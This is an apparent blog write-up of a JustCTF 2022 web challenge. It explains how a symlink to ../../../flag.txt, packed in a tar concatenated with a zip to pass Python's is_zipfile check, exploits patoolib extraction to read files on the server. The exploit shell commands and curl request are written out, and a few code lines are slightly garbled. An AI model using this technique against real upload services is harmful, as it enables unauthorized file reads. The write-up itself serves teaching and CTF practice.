Skip to main content
  1. Posts/

Zip Slip Vulnerability - Justctf 2022

·3 mins

image

An overview of the zip slip vulnerability in a python application.

OVERVIEW #

Zip Slip is a widespread arbitrary file overwrite vulnerability that typically results in remote code execution. Discovered in June 5th 2018 by the Snyk Research team, it affects thousands of projects.

The vulnerablity affects ecosystems that have no central library offering high level processing of archive files. Several web applications allow users to submit files in compressed format to reduce the size of files being uploaded. Later on, the compressed files get decompressed to retrieve to actual files. Zip Slip aims to target such applications

ZIP SLIP VULNERABILITY #

In a previously concluded CTF - JustCTF 2022, one of the web challenges features a web application vulnerable to the Zip Slip vulnerability. We will look at how the exploit to achieve an arbitrary file read on the server works.

image

Code review #

The challenge consists of a REST API endpoint that receives a zip file via HTTP POST and returns a JSON object containing the contents of every file in the zip.

image

We are also provided with the back-end code for the REST API linked here.

This particular block of code is of interest.


@app.post("/extract", tags=["extract"])
async def extract(file: UploadFile):
    """Extracts the given ZIP and returns a JSON object containing the contents of every file extracted"""
    with TemporaryDirectory(dir=UPLOAD_DIR) as tmpdir:
        file_to_extract = Path(tmpdir) / file.filename
        with open(file_to_extract, "wb") as f:
            while True:
                data = await file.read(2048)
                if not data:
                    break
                f.write(data)
        # make sure the file is a valid zip because Python's `zipfile` doesn't support symlinks (no hacking!)
        if not is_`zipfile`(file_to_extract):
            raise HTTPException(status_code=415, detail=f"The input file must be an ZIP archive.")
        with TemporaryDirectory(dir=tmpdir) as extract_to_dir:
            try:
                extract_archive(str(file_to_extract), outdir=extract_to_dir)
            except PatoolError as e:
                raise HTTPException(status_code=400, detail=f"Error extracting ZIP {file_to_extract.name}: {e!s}")
            return read_files(extract_to_dir)

zipfile and patoolib are being used as shown below:

from base64 import b64encode
import os
from pathlib import Path
from tempfile import TemporaryDirectory
from typing import Any, Dict, Optional, Union
from zipfile import is_ zipfile

from fastapi import FastAPI, HTTPException, UploadFile
from fastapi.responses import FileResponse
from patoolib import extract_archive
from patoolib.util import PatoolError

According to the research done by Snyk linked here zipfile is not vulnerable to the zip slip vulnerability as also indicated in the comments.

So how then will we approach the exploit?

It is worth noting that tarfile happens to still be affected. Patool libary being used has a cross format feature allows you to extract any type of archive including the most popular ones such as ZIP, GZIP, TAR and RAR.

The implementation of zipfile to check if the upload is a valid zip file can be abused in this case. zipfile module checks for magic bytes in the archive to verify if it a valid zip file. So by concatenating a tarfile and a zip file, we can pass the is_zipfile check since zip’s magic bytes will still be at the end of the archive and hence valid.

Exploit #

We will abuse a path traversal vulnerability by crafting a symlink file. When uploaded and unzipped using patoolib, the symlink will be processed leading to dumping of the flag that we need.

ln -fs ../../../flag.txt .
touch a
zip a.zip -xi a
tar --owner 0 --group 0 -cvf payload.tar flag.txt a.zip

image

Curl the server

 curl -X 'POST' \
  'http://symple-unzipper.web.jctf.pro/extract' \
  -H 'accept: application/json' \
  -H 'Content-Type: multipart/form-data' \
  -F 'file=@payload.tar;type=application/x-tar'

image

We get the flag from the server.